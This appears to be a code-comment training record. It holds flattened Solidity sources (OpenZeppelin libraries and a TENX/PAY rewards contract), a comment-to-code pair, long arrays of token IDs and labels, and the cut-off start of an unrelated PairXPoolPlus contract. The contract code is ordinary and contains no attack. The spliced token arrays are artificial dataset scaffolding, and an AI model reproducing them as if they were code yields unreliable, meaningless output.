_pausers.remove(account);
emit PauserRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
pragma solidity ^0.5.2;
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.5.2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.5.2;
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>, Eenae <[email protected]>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
// File: openzeppelin-solidity/contracts/drafts/SignedSafeMath.sol
pragma solidity ^0.5.2;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error
*/
library SignedSafeMath {
int256 constant private INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.2;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity ^0.5.2;
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.2;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must equal true).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
require(address(token).isContract());
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)));
}
}
}
// File: contracts/interfaces/IERC1594Capped.sol
pragma solidity 0.5.4;
interface IERC1594Capped {
function balanceOf(address who) external view returns (uint256);
function cap() external view returns (uint256);
function totalRedeemed() external view returns (uint256);
}
// File: contracts/interfaces/IRewards.sol
pragma solidity 0.5.4;
interface IRewards {
event Deposited(address indexed from, uint amount);
event Withdrawn(address indexed from, uint amount);
event Reclaimed(uint amount);
function deposit(uint amount) external;
function withdraw() external;
function reclaimRewards() external;
function claimedRewards(address payee) external view returns (uint);
function unclaimedRewards(address payee) external view returns (uint);
function supply() external view returns (uint);
function isRunning() external view returns (bool);
}
// File: contracts/interfaces/IRewardsUpdatable.sol
pragma solidity 0.5.4;
interface IRewardsUpdatable {
event NotifierUpdated(address implementation);
function updateOnTransfer(address from, address to, uint amount) external returns (bool);
function updateOnBurn(address account, uint amount) external returns (bool);
function setRewardsNotifier(address notifier) external;
}
// File: contracts/interfaces/IRewardable.sol
pragma solidity 0.5.4;
interface IRewardable {
event RewardsUpdated(address implementation);
function setRewards(IRewardsUpdatable rewards) external;
}
// File: contracts/roles/RewarderRole.sol
pragma solidity 0.5.4;
// @notice Rewarders are capable of managing the Rewards contract and depositing PAY rewards.
contract RewarderRole {
using Roles for Roles.Role;
event RewarderAdded(address indexed account);
event RewarderRemoved(address indexed account);
Roles.Role internal _rewarders;
modifier onlyRewarder() {
require(isRewarder(msg.sender), "Only Rewarders can execute this function.");
_;
}
constructor() internal {
_addRewarder(msg.sender);
}
function isRewarder(address account) public view returns (bool) {
return _rewarders.has(account);
}
function addRewarder(address account) public onlyRewarder {
_addRewarder(account);
}
function renounceRewarder() public {
_removeRewarder(msg.sender);
}
function _addRewarder(address account) internal {
_rewarders.add(account);
emit RewarderAdded(account);
}
function _removeRewarder(address account) internal {
_rewarders.remove(account);
emit RewarderRemoved(account);
}
}
// File: contracts/roles/ModeratorRole.sol
pragma solidity 0.5.4;
// @notice Moderators are able to modify whitelists and transfer permissions in Moderator contracts.
contract ModeratorRole {
using Roles for Roles.Role;
event ModeratorAdded(address indexed account);
event ModeratorRemoved(address indexed account);
Roles.Role internal _moderators;
modifier onlyModerator() {
require(isModerator(msg.sender), "Only Moderators can execute this function.");
_;
}
constructor() internal {
_addModerator(msg.sender);
}
function isModerator(address account) public view returns (bool) {
return _moderators.has(account);
}
function addModerator(address account) public onlyModerator {
_addModerator(account);
}
function renounceModerator() public {
_removeModerator(msg.sender);
}
function _addModerator(address account) internal {
_moderators.add(account);
emit ModeratorAdded(account);
}
function _removeModerator(address account) internal {
_moderators.remove(account);
emit ModeratorRemoved(account);
}
}
// File: contracts/lib/Whitelistable.sol
pragma solidity 0.5.4;
contract Whitelistable is ModeratorRole {
event Whitelisted(address account);
event Unwhitelisted(address account);
mapping (address => bool) public isWhitelisted;
modifier onlyWhitelisted(address account) {
require(isWhitelisted[account], "Account is not whitelisted.");
_;
}
modifier onlyNotWhitelisted(address account) {
require(!isWhitelisted[account], "Account is whitelisted.");
_;
}
function whitelist(address account) external onlyModerator {
require(account != address(0), "Cannot whitelist zero address.");
require(account != msg.sender, "Cannot whitelist self.");
require(!isWhitelisted[account], "Address already whitelisted.");
isWhitelisted[account] = true;
emit Whitelisted(account);
}
function unwhitelist(address account) external onlyModerator {
require(account != address(0), "Cannot unwhitelist zero address.");
require(account != msg.sender, "Cannot unwhitelist self.");
require(isWhitelisted[account], "Address not whitelisted.");
isWhitelisted[account] = false;
emit Unwhitelisted(account);
}
}
// File: contracts/rewards/Rewards.sol
pragma solidity 0.5.4;
/**
* @notice This contract determines the amount of rewards each user is entitled to and allows users to withdraw their rewards.
* @dev The rewards (in the form of a 'rewardsToken') are calculated based on a percentage ownership of a 'rewardableToken'.
* The rewards calculation takes into account token movements using a 'damping' factor.
* This contract makes use of pull payments over push payments to avoid DoS vulnerabilities.
*/
contract Rewards is IRewards, IRewardsUpdatable, RewarderRole, Pausable, Ownable, ReentrancyGuard, Whitelistable {
using SafeERC20 for IERC20;
using SafeMath for uint;
using SignedSafeMath for int;
IERC1594Capped private rewardableToken; // Rewardable tokens gives rewards when held.
IERC20 private rewardsToken; // Rewards tokens are given out as rewards.
address private rewardsNotifier; // Contract address where token movements are broadcast from.
bool public isRunning = true;
uint public maxShares; // Total TENX cap. Constant amount.
uint public totalRewards; // The current size of the global pool of PAY rewards. Can decrease because of TENX burning.
uint public totalDepositedRewards; // Total PAY rewards deposited for users so far. Monotonically increasing.
uint public totalClaimedRewards; // Amount of rewards claimed by users so far. Monotonically increasing.
mapping(address => int) private _dampings; // Balancing factor to account for rewardable token movements.
mapping(address => uint) public claimedRewards; // Claimed PAY rewards per user.
event Deposited(address indexed from, uint amount);
event Withdrawn(address indexed from, uint amount);
event Reclaimed(uint amount);
event NotifierUpdated(address implementation);
constructor(IERC1594Capped _rewardableToken, IERC20 _rewardsToken) public {
uint _cap = _rewardableToken.cap();
require(_cap != 0, "Shares token cap must be non-zero.");
maxShares = _cap;
rewardableToken = _rewardableToken;
rewardsToken = _rewardsToken;
rewardsNotifier = address(_rewardableToken);
}
/**
* @notice Modifier to check that functions are only callable by a predefined address.
*/
modifier onlyRewardsNotifier() {
require(msg.sender == rewardsNotifier, "Can only be called by the rewards notifier contract.");
_;
}
/**
* @notice Modifier to check that the Rewards contract is currently running.
*/
modifier whenRunning() {
require(isRunning, "Rewards contract has stopped running.");
_;
}
function () external payable { // Ether fallback function
require(msg.value == 0, "Received non-zero msg.value.");
withdraw(); // solhint-disable-line
}
/**
* Releases a specified amount of rewards to all shares token holders.
* @dev The rewards each user is allocated to receive is calculated dynamically.
* Note that the contract needs to hold sufficient rewards token balance to disburse rewards.
* @param _amount Amount of reward tokens to allocate to token holders.
*/
function deposit(uint _amount) external onlyRewarder whenRunning whenNotPaused {
require(_amount != 0, "Deposit amount must non-zero.");
totalDepositedRewards = totalDepositedRewards.add(_amount);
totalRewards = totalRewards.add(_amount);
address from = msg.sender;
emit Deposited(from, _amount);
rewardsToken.safeTransferFrom(msg.sender, address(this), _amount); // [External contract call to PAYToken]
}
/**
* @notice Links a RewardsNotifier contract to update this contract on token movements.
* @param _notifier Contract address.
*/
function setRewardsNotifier(address _notifier) external onlyOwner {
require(address(_notifier) != address(0), "Rewards address must not be a zero address.");
require(Address.isContract(address(_notifier)), "Address must point to a contract.");
rewardsNotifier = _notifier;
emit NotifierUpdated(_notifier);
}
/**
* @notice Updates a damping factor to account for token transfers in the dynamic rewards calculation.
* @dev This function adds +X damping to senders and -X damping to recipients, where X is _dampingChange().
* This function is called in TENXToken `transfer()` and `transferFrom()`.
* @param _from Sender address
* @param _to Recipient address
* @param _value Token movement amount
*/
function updateOnTransfer(address _from, address _to, uint _value) external onlyRewardsNotifier nonReentrant returns (bool) {
int fromUserShareChange = int(_value); // <_from> sends their _value to <_to>, change is positive
int fromDampingChange = _dampingChange(totalShares(), totalRewards, fromUserShareChange);
int toUserShareChange = int(_value).mul(-1); // <_to> receives _value from <_from>, change is negative
int toDampingChange = _dampingChange(totalShares(), totalRewards, toUserShareChange);
assert((fromDampingChange.add(toDampingChange)) == 0);
_dampings[_from] = damping(_from).add(fromDampingChange);
_dampings[_to] = damping(_to).add(toDampingChange);
return true;
}
/**
* @notice Updates a damping factor to account for token butning in the dynamic rewards calculation.
* @param _account address
* @param _value Token burn amount
*/
function updateOnBurn(address _account, uint _value) external onlyRewardsNotifier nonReentrant returns (bool) {
uint totalSharesBeforeBurn = totalShares().add(_value); // In Rewardable.sol, this is executed after the burn has deducted totalShares()
uint redeemableRewards = _value.mul(totalRewards).div(totalSharesBeforeBurn); // Calculate amount of rewards the burned amount is entitled to
totalRewards = totalRewards.sub(redeemableRewards); // Remove redeemable rewards from the global pool
_dampings[_account] = damping(_account).add(int(redeemableRewards)); // Only _account is able to withdraw the unclaimed redeemed rewards
return true;
}
/**
* @notice Emergency fallback to drain the contract's balance of PAY tokens.
*/
function reclaimRewards() external onlyOwner {
uint256 balance = rewardsToken.balanceOf(address(this));
isRunning = false;
rewardsToken.safeTransfer(owner(), balance);
emit Reclaimed(balance);
}
/**
* @notice Withdraw your balance of PAY rewards.
* @dev Only the unclaimed rewards amount can be withdrawn by a user.
*/
function withdraw() public whenRunning whenNotPaused onlyWhitelisted(msg.sender) nonReentrant {
address payee = msg.sender;
uint unclaimedReward = unclaimedRewards(payee);
require(unclaimedReward > 0, "Unclaimed reward must be non-zero to withdraw.");
require(supply() >= unclaimedReward, "Rewards contract must have sufficient PAY to disburse.");
claimedRewards[payee] = claimedRewards[payee].add(unclaimedReward); // Add amount to claimed rewards balance
totalClaimedRewards = totalClaimedRewards.add(unclaimedReward);
emit Withdrawn(payee, unclaimedReward);
// Send PAY reward to payee
rewardsToken.safeTransfer(payee, unclaimedReward); // [External contract call]
}
/**
* @notice Returns this contract's current reward token supply.
* @dev The contract must have sufficient PAY allowance to deposit() rewards.
* @return Total PAY balance of this contract
*/
function supply() public view returns (uint) {
return rewardsToken.balanceOf(address(this));
}
/**
* @notice Returns the reward model's denominator. Used to calculate user rewards.
* @dev The denominator is = INITIAL TOKEN CAP - TOTAL REWARDABLE TOKENS REDEEMED.
* @return denominator
*/
function totalShares() public view returns (uint) {
uint totalRedeemed = rewardableToken.totalRedeemed();
return maxShares.sub(totalRedeemed);
}
/**
* @notice Returns the amount of a user's unclaimed (= total allocated - claimed) rewards.
* @param _payee User address.
* @return total unclaimed rewards for user
*/
function unclaimedRewards(address _payee) public view returns(uint) {
require(_payee != address(0), "Payee must not be a zero address.");
uint totalUserReward = totalUserRewards(_payee);
if (totalUserReward == uint(0)) {
return 0;
}
uint unclaimedReward = totalUserReward.sub(claimedRewards[_payee]);
return unclaimedReward;
}
/**
* @notice Returns a user's total PAY rewards.
* @param _payee User address.
* @return total claimed + unclaimed rewards for user
*/
function totalUserRewards(address _payee) internal view returns (uint) {
require(_payee != address(0), "Payee must not be a zero address.");
uint userShares = rewardableToken.balanceOf(_payee); // [External contract call]
int userDamping = damping(_payee);
uint result = _totalUserRewards(totalShares(), totalRewards, userShares, userDamping);
return result;
}
/**
* @notice Calculate a user's damping factor change.
* @dev The damping factor is used to take into account token movements in the rewards calculation.
* dampingChange = total PAY rewards * percentage change in a user's TENX shares
* @param _totalShares Total TENX cap (constant ~200M.)
* @param _totalRewards The current size of the global pool of PAY rewards.
* @param _sharesChange The user's change in TENX balance. Can be positive or negative.
* @return damping change for a given change in tokens
*/
function _dampingChange(
uint _totalShares,
uint _totalRewards,
int _sharesChange
) internal pure returns (int) {
return int(_totalRewards).mul(_sharesChange).div(int(_totalShares));
}
/**
* @notice Calculates a user's total allocated (claimed + unclaimed) rewards.
* @dev The user's total allocated rewards = (percentage of user's TENX shares * total PAY rewards) + user's damping factor
* @param _totalShares Total TENX cap (constant.)
* @param _totalRewards Total PAY rewards deposited so far.
* @param _userShares The user's TENX balance.
* @param _userDamping The user's damping factor.
* @return total claimed + unclaimed rewards for user
*/
function _totalUserRewards(
uint _totalShares,
uint _totalRewards,
uint _userShares,
int _userDamping
) internal pure returns (uint) {
uint maxUserReward = _userShares.mul(_totalRewards).div(_totalShares);
int userReward = int(maxUserReward).add(_userDamping);
uint result = (userReward > 0 ? uint(userReward) : 0);
return result;
}
function damping(address account) internal view returns (int) {
return _dampings[account];
}
}
|
Rewards tokens are given out as rewards.
|
IERC20 private rewardsToken;
| 14,032,873 |
[
1,
17631,
14727,
2430,
854,
864,
596,
487,
283,
6397,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
467,
654,
39,
3462,
3238,
283,
6397,
1345,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-14
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
pragma experimental ABIEncoderV2;
interface IPairXCore {
// 取回指定的Token资产及奖励
function claim( address token ) external returns (uint amount) ;
// 提取PairX的挖矿奖励,可以提取当前已解锁的份额
function redeem(address token ) external returns (uint amount ) ;
/**
* 结束流动性挖矿
*/
function finish() external ;
}
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(uint256 reward);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IPairX {
// function depositInfo( address sender , address token ) external view returns
// ( uint depositBalance ,uint depositTotal , uint leftDays ,
// uint lockedReward , uint freeReward , uint gottedReward ) ;
function MinToken0Deposit() external view returns( uint256 ) ;
function MinToken1Deposit() external view returns( uint256 ) ;
function RewardToken() external view returns( address ) ;
function RewardAmount() external view returns( uint256 ) ;
function RewardBeginTime() external view returns( uint256 ) ;
function DepositEndTime() external view returns( uint256 ) ;
function StakeEndTime() external view returns( uint256 ) ;
function UniPairAddress() external view returns( address ) ;
function MainToken() external view returns( address ) ;
function Token0() external view returns( address ) ;
function Token1() external view returns( address ) ;
function Token0Record() external view returns
( uint256 total , uint256 reward , uint256 compensation , uint256 stake , uint256 withdraw , uint256 mint ) ;
function Token1Record() external view returns
( uint256 total , uint256 reward , uint256 compensation , uint256 stake , uint256 withdraw , uint256 mint ) ;
function StakeAddress() external view returns( address ) ;
function RewardGottedTotal() external view returns( uint ) ;
function UserBalance(address sender , address token ) external view returns ( uint256 ) ;
function RewardGotted(address sender , address token ) external view returns( uint256) ;
}
contract PairXPoolPlus is IPairXCore {
using SafeMath for uint256;
address public Owner;
uint8 public Fee = 10;
address public FeeTo;
uint256 public MinToken0Deposit;
uint256 public MinToken1Deposit;
address PairXAddress ;
// for pairx
address public RewardToken; // Reward Token
uint256 public RewardAmount;
uint8 public Status = 0; // 0 = not init , 1 = open , 2 = locked , 9 = finished
// uint public MaxLockDays = 365 ;
